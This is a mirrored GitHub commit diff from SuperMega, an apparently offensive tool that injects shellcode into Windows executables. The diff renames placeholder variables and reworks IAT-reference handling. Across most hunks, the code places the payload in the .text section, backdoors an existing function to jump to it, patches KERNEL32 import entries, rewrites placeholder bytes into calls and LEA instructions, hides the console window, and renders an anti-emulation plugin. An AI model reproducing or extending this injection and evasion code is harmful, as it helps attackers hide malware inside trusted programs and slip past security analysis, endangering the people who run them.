mirror of
https://github.com/dobin/SuperMega
synced 2026-06-02 17:27:10 +00:00
refactor: iat references array, and various cleanup
This commit is contained in:
+10
-9
@@ -67,12 +67,12 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
|
||||
raise Exception("Data reuse entry not found: {}".format(string_ref))
|
||||
|
||||
# add a reference
|
||||
randbytes: bytes = os.urandom(7) # LEA is 7 bytes
|
||||
placeholder: bytes = os.urandom(7) # LEA is 7 bytes
|
||||
register = line.split("mov\t")[1].split(",")[0]
|
||||
datareuse_fixup.add_reference(randbytes, register)
|
||||
datareuse_fixup.add_reference(placeholder, register)
|
||||
|
||||
# add lines
|
||||
line = bytes_to_asm_db(randbytes) + " ; supermega_payload Payload".format()
|
||||
line = bytes_to_asm_db(placeholder) + " ; supermega_payload Payload".format()
|
||||
lines_out.append(line)
|
||||
continue
|
||||
|
||||
@@ -84,9 +84,10 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
|
||||
if "QWORD PTR __imp_" in line:
|
||||
# just the function name, without __imp_
|
||||
func_name = line[line.find("__imp_")+6:].rstrip()
|
||||
randbytes: bytes = os.urandom(6) # exact size or the result
|
||||
carrier.add_iat_request(func_name, randbytes)
|
||||
new_line = bytes_to_asm_db(randbytes) + " ; IAT Reuse for {}".format(func_name)
|
||||
placeholder: bytes = os.urandom(6) # exact size or the result
|
||||
carrier.add_iat_request(func_name, placeholder)
|
||||
|
||||
new_line = bytes_to_asm_db(placeholder) + " ; IAT Reuse for {}".format(func_name)
|
||||
lines_out.append(new_line)
|
||||
continue
|
||||
|
||||
@@ -129,10 +130,10 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
|
||||
raise("Data reuse entry not found: {}".format(string_ref))
|
||||
|
||||
register = line.split("lea\t")[1].split(",")[0]
|
||||
randbytes: bytes = os.urandom(7)
|
||||
datareuse_fixup.add_reference(randbytes, register)
|
||||
placeholder: bytes = os.urandom(7)
|
||||
datareuse_fixup.add_reference(placeholder, register)
|
||||
|
||||
line = bytes_to_asm_db(randbytes) + " ; .rdata Reuse for {} ({})".format(
|
||||
line = bytes_to_asm_db(placeholder) + " ; .rdata Reuse for {} ({})".format(
|
||||
string_ref, register)
|
||||
lines_out.append(line)
|
||||
continue
|
||||
|
||||
+43
-38
@@ -42,17 +42,18 @@ def inject_exe(carrier_shc: bytes, settings: Settings, carrier: Carrier, payload
|
||||
# skip available
|
||||
addr = superpe.get_vaddr_of_iatentry(iatRequest.name)
|
||||
if addr != None:
|
||||
logger.info(" IAT {} is at: 0x{:X}".format(iatRequest.name, addr))
|
||||
logger.info(" Request IAT {} is available at 0x{:X}".format(
|
||||
iatRequest.name, addr))
|
||||
continue
|
||||
iat_name = superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name)
|
||||
|
||||
if not settings.fix_missing_iat:
|
||||
raise Exception("Error: {} not available, but fix_missing_iat is False".format(
|
||||
iatRequest.name
|
||||
))
|
||||
iatRequest.name))
|
||||
# do the patch
|
||||
superpe.patch_iat_entry("KERNEL32.dll", iat_name, iatRequest.name)
|
||||
|
||||
#logger.info(" Unavailable IAT {} now patched".format(
|
||||
# iatRequest.name))
|
||||
# we modify the IAT raw, so reparsing is required
|
||||
superpe.pe.parse_data_directories()
|
||||
superpe.init_iat_entries()
|
||||
@@ -78,17 +79,17 @@ def inject_exe(carrier_shc: bytes, settings: Settings, carrier: Carrier, payload
|
||||
|
||||
else: # EXE/DLL
|
||||
# Put it somewhere in the code section, and rewire the flow
|
||||
sect = superpe.get_code_section()
|
||||
if sect == None:
|
||||
code_section = superpe.get_code_section()
|
||||
if code_section == None:
|
||||
raise Exception('Could not find code section in input PE file!')
|
||||
sect_size = sect.Misc_VirtualSize # Better than: SizeOfRawData
|
||||
sect_size = code_section.Misc_VirtualSize # Better than: SizeOfRawData
|
||||
if sect_size < carrier_shc_len + CODE_INJECT_SIZE_CHECK_ADD:
|
||||
raise Exception("Shellcode too large: {}+{} > {}".format(
|
||||
carrier_shc_len, CODE_INJECT_SIZE_CHECK_ADD, sect_size
|
||||
))
|
||||
carrier_shc_offset = int((sect_size - carrier_shc_len) / 2) # centered in the .text section
|
||||
#shellcode_offset = round_up_to_multiple_of_8(shellcode_offset)
|
||||
carrier_shc_offset += sect.PointerToRawData
|
||||
carrier_shc_offset += code_section.PointerToRawData
|
||||
shellcode_rva = superpe.pe.get_rva_from_offset(carrier_shc_offset)
|
||||
|
||||
# Aligning the payload (not carrier!) to page size is important for dll_loader_change
|
||||
@@ -97,8 +98,8 @@ def inject_exe(carrier_shc: bytes, settings: Settings, carrier: Carrier, payload
|
||||
shellcode_rva = align_to_page_size(shellcode_rva, carrier_shc_len - len(payload.payload_data))
|
||||
carrier_shc_offset = superpe.pe.get_offset_from_rva(shellcode_rva)
|
||||
|
||||
logger.info("---( Inject: Write Shellcode to offset:0x{:X} (rva:0x{:X})".format(
|
||||
carrier_shc_offset, shellcode_rva))
|
||||
logger.info("---( Inject: Write Carrier to 0x{:X} (0x{:X})".format(
|
||||
shellcode_rva, carrier_shc_offset))
|
||||
|
||||
# Copy the shellcode
|
||||
superpe.pe.set_bytes_at_offset(carrier_shc_offset, carrier_shc)
|
||||
@@ -127,11 +128,11 @@ def inject_exe(carrier_shc: bytes, settings: Settings, carrier: Carrier, payload
|
||||
addr))
|
||||
function_backdoorer.backdoor_function(addr, shellcode_rva, carrier_shc_len)
|
||||
|
||||
logger.info("--( Fix shellcode to re-use IAT entries")
|
||||
logger.info("--( Fix imports and make carrier reference IAT")
|
||||
injected_fix_iat(superpe, carrier)
|
||||
logger.info("--( Fix shellcode to reference data stored in .rdata")
|
||||
logger.info("--( Insert and reference carrier data")
|
||||
injected_fix_data(superpe, carrier,
|
||||
carrier_shc_offset + carrier_shc_len)
|
||||
carrier_shc_offset + carrier_shc_len + 4096)
|
||||
|
||||
# changes from console to UI (no console window) if necessary
|
||||
superpe.patch_subsystem()
|
||||
@@ -150,25 +151,29 @@ def injected_fix_iat(superpe: SuperPe, carrier: Carrier):
|
||||
"""replace IAT-placeholders in shellcode with call's to the IAT"""
|
||||
code = superpe.get_code_section_data()
|
||||
for iatRequest in carrier.get_all_iat_requests():
|
||||
if not iatRequest.placeholder in code:
|
||||
raise Exception("IatResolve ID {} not found, abort".format(iatRequest.placeholder))
|
||||
offset_from_code = code.index(iatRequest.placeholder)
|
||||
|
||||
# Note that the SuperPe may already have been patched for new IAT imports
|
||||
destination_virtual_address = superpe.get_vaddr_of_iatentry(iatRequest.name)
|
||||
if destination_virtual_address == None:
|
||||
raise Exception("IatResolve: Function {} not found".format(iatRequest.name))
|
||||
|
||||
instruction_virtual_address = offset_from_code + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress
|
||||
logger.info(" Replace {} at VA 0x{:X} with: call to IAT at VA 0x{:X}".format(
|
||||
iatRequest.placeholder.hex(), instruction_virtual_address, destination_virtual_address
|
||||
))
|
||||
jmp = assemble_relative_call(instruction_virtual_address, destination_virtual_address)
|
||||
if len(jmp) != len(iatRequest.placeholder):
|
||||
raise Exception("IatResolve: Call to IAT has different length than placeholder: {} != {} abort".format(
|
||||
len(jmp), len(iatRequest.placeholder)
|
||||
for placeholder in iatRequest.references:
|
||||
if not placeholder in code:
|
||||
raise Exception("IatResolve ID {} not found, abort".format(placeholder))
|
||||
offset_from_code = code.index(placeholder)
|
||||
|
||||
# Note that the SuperPe may already have been patched for new IAT imports
|
||||
destination_virtual_address = superpe.get_vaddr_of_iatentry(iatRequest.name)
|
||||
if destination_virtual_address == None:
|
||||
raise Exception("IatResolve: Function {} not found".format(iatRequest.name))
|
||||
|
||||
instruction_virtual_address = offset_from_code + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress
|
||||
logger.info(" Replace {} at VA 0x{:X} with: call to IAT at VA 0x{:X} ({})".format(
|
||||
placeholder.hex(),
|
||||
instruction_virtual_address,
|
||||
destination_virtual_address,
|
||||
iatRequest.name
|
||||
))
|
||||
code = code.replace(iatRequest.placeholder, jmp)
|
||||
jmp = assemble_relative_call(instruction_virtual_address, destination_virtual_address)
|
||||
if len(jmp) != len(placeholder):
|
||||
raise Exception("IatResolve: Call to IAT has different length than placeholder: {} != {} abort".format(
|
||||
len(jmp), len(placeholder)
|
||||
))
|
||||
code = code.replace(placeholder, jmp)
|
||||
|
||||
superpe.write_code_section_data(code)
|
||||
|
||||
@@ -221,25 +226,25 @@ def injected_fix_data(superpe: SuperPe, carrier: Carrier, shellcode_offset: int)
|
||||
for datareuse_fixup in reusedata_fixups:
|
||||
ref: DataReuseReference
|
||||
for ref in datareuse_fixup.references:
|
||||
if not ref.randbytes in code:
|
||||
if not ref.placeholder in code:
|
||||
raise Exception("fix data in injectable: DataReuse: ID {} ({}) not found in code section, abort".format(
|
||||
ref.randbytes.hex(), datareuse_fixup.string_ref))
|
||||
ref.placeholder.hex(), datareuse_fixup.string_ref))
|
||||
|
||||
offset_from_datasection = code.index(ref.randbytes)
|
||||
offset_from_datasection = code.index(ref.placeholder)
|
||||
instruction_virtual_address = offset_from_datasection + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress
|
||||
destination_virtual_address = datareuse_fixup.addr
|
||||
logger.info(" Replace bytes {} at VA 0x{:X} with: LEA {} .rdata 0x{:X}".format(
|
||||
ref.randbytes.hex(), instruction_virtual_address, ref.register, destination_virtual_address
|
||||
ref.placeholder.hex(), instruction_virtual_address, ref.register, destination_virtual_address
|
||||
))
|
||||
lea = assemble_lea(
|
||||
instruction_virtual_address, destination_virtual_address, ref.register
|
||||
)
|
||||
asm_disasm(lea, instruction_virtual_address) # DEBUG
|
||||
if len(lea) != len(ref.randbytes):
|
||||
if len(lea) != len(ref.placeholder):
|
||||
raise Exception("DataReuseFixup: lea instr has different length than placeholder: {} != {} abort".format(
|
||||
len(lea), len(ref.randbytes)
|
||||
len(lea), len(ref.placeholder)
|
||||
))
|
||||
code = code.replace(ref.randbytes, lea)
|
||||
code = code.replace(ref.placeholder, lea)
|
||||
|
||||
superpe.write_code_section_data(code)
|
||||
|
||||
|
||||
@@ -52,6 +52,9 @@ def create_c_from_template(settings: Settings, payload_len: int):
|
||||
settings.plugin_antiemulation)
|
||||
with open(filepath_antiemulation, "r", encoding='utf-8') as file:
|
||||
plugin_antiemualation = file.read()
|
||||
plugin_antiemualation = Template(plugin_antiemualation).render({
|
||||
'PAYLOAD_LEN': payload_len,
|
||||
})
|
||||
|
||||
# Plugin: Decoy
|
||||
filepath_decoy = PATH_DECOY + "{}.c".format(
|
||||
|
||||
Reference in New Issue
Block a user